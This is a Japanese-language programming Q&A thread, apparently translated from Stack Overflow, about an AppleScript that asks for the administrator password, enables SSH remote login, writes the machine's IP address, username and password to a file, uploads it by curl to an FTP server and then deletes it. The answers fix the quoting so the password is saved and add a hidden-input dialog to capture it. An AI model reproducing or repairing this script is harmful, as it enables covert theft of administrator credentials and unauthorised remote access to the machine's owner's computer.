0

サーバーに送信されるテキスト ファイルに 3 つの変数を渡そうとしていますが、変数の 1 つ (pword) が送信されません。

以下は私のコードです:

    set pword to do shell script "echo" with administrator privileges

##Enable remote login
do shell script "launchctl load -w /System/Library/LaunchDaemons/ssh.plist" user name (short user name of (system info)) password pword with administrator privileges

##Get ip
set tIP to do shell script "ifconfig en0|grep 'inet '|cut -d ' ' -f 2"

##Get username
set userName to short user name of (system info)

##Create text file with user data
do shell script "echo " & tIP & userName & pword & ">> /Users/" & userName & "/Documents/tests.txt"

##Create path where user data is stored
set thePath to "/Users/" & userName & "/Documents/tests.txt"

##Send the data to the server
do shell script "curl -T " & thePath & " ftp://username:password@server"

##Delete the text file
do shell script "rm /Users/" & userName & "/Documents/tests.txt"

pword ではなく、userName と tIP のみがテキスト ファイルに書き込まれる理由は何ですか?

ありがとう。

4

2 に答える 2

1

シェルに何かを送信するときは、それらが全体として送信されることを確認するためにそれらを引用する必要があります...シェルがそれらを全体ではなく別々のものと間違えるスペースやその他のものがある場合に備えて。だから私はこれを試してみます...

do shell script "echo " & quoted form of (tIP & userName & pword) & " >> " & quoted form of ("/Users/" & userName & "/Documents/tests.txt")

他のコードの中には、コードの将来性を確保するために「の引用形式」を使用することも役立つことに注意してください。必要かどうかにかかわらず、これを使用することは良いコーディング方法です。

于 2013-08-09T19:42:48.210 に答える
1

パスワードを取得するには、次を使用する必要があります。

set pword to text returned of (display dialog "Enter Password:" default answer "" with hidden answer)

Bash は優れていますが、このすべてを bash スクリプトにする予定がない限り (実際には既に行っているようです)、AppleScript のいくつかの特典を使用することもできます。

于 2013-08-11T01:10:59.010 に答える